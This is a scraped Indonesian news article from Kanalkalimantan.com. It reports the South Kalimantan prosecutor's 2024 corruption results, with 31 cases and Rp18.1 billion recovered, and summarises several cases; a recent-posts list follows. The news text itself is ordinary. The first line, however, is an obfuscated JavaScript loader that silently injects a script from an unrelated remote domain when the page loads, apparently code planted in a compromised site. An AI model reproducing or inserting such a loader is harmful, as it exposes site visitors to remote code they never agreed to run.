(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Catatan Korupsi 2024 Kalsel: Uang Negara Terselamatkan Rp18 Milliar dari 31 Kasus


KANALKALIMANTAN.COM, BANJARMASIN – Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel) merilis sejumlah perkara tindak pidana korupsi (Tipikor) bertepatan dengan peringatan Hari Anti Korupsi Sedunia 2024, Senin (9/12/2024).

Kajati Kalsel Rina Virawati SH MH menyampaikan bahwa Kejati Kalsel dan Kejaksaan Negeri se Kalsel sepanjang tahun 2024 mampu menangani 31 perkara korupsi.

Rina membeberkan, total uang negara yang berhasil diselamatkan jajaran Kejaksaan dalam kasus tindak pidana korupsi di Kalsel pada tahun 2024 sebesar Rp18.139.713.029.

Baca juga: Evaluasi Penanganan Anak Tidak Sekolah dan Anak Putus Sekolah di Banjarbaru, Ini Masalah yang Dihadapi

“Selama tahun ini sampai dengan bulan November yang sempat diselamatkan dalam perkara korupsi jumlah mencapai Rp18,1 miliar lebih,” ujarnya.

Masih lanjut Kajati Kalsel, saat ini pihaknya mengaku tengah menangani sejumlah kasus korupsi. Diantaranya kasus dugaan korupsi fasilitas pembiayaan kontruksi oleh salah satu bank BUMN. Tersangka dua orang berinisial WR dan ES. Kerugian negara yang timbul pada kasus tersebut mencapai Rp5,2 miliar.

Kasus berikutnya dari Kabupaten Balangan, Direkrut Prusahaan Daerah (Perumda) berinisial MR menyelewengkan penyertaan modal Pemkab Balangan sebesar Rp20 miliar.

Baca juga: Ada Perbaikan, Jembatan Simpang Ulin Banjarmasin DitutupAda Perbaikan, Jembatan Simpang Ulin Banjarmasin Ditutup

Akibat perbuatan tersangka MAR selaku Direktur Perumda milik Pemkab Balangan tersebut mengalami kerugian mencapai Rp19 miliar.

Lebih lanjut Kajati menyebutkan bahwa perkara ke empat kasus dugaan korupsi dalam kegiatan Kader Sosial di Kabupaten Hulu Sungai Tengah Tahun Anggaran 2022 dengan tersangka berinisial MS.

“Tersangka bukan merupakan bagian aparat Dinas Sosial HST, tersangka sebagai pengumpul kader sosial di seluruh desa atau kelurahan dalam wilayah Kabupaten HST,’’ ungkap Rina.

Baca juga: “Panji Terbang” Layanan Terbaru di Mal Pelayanan Publik Banjarbaru

Sedangkan perkara kelima adalah terpidana Hairiyah yang kasusnya telah divonis bersalah Pengadilan Tipikor Banjarmasin. Terkait tindakan fraud pengajuan kredit (tempelan) rekening nasabah yang dilakukan bersama Mantri Pemrakarsa salah satu bank BUMN yang menyebabkan kerugian negara miliaran rupiah.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

7 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

8 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

10 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

16 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

17 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

19 jam ago

This website uses cookies.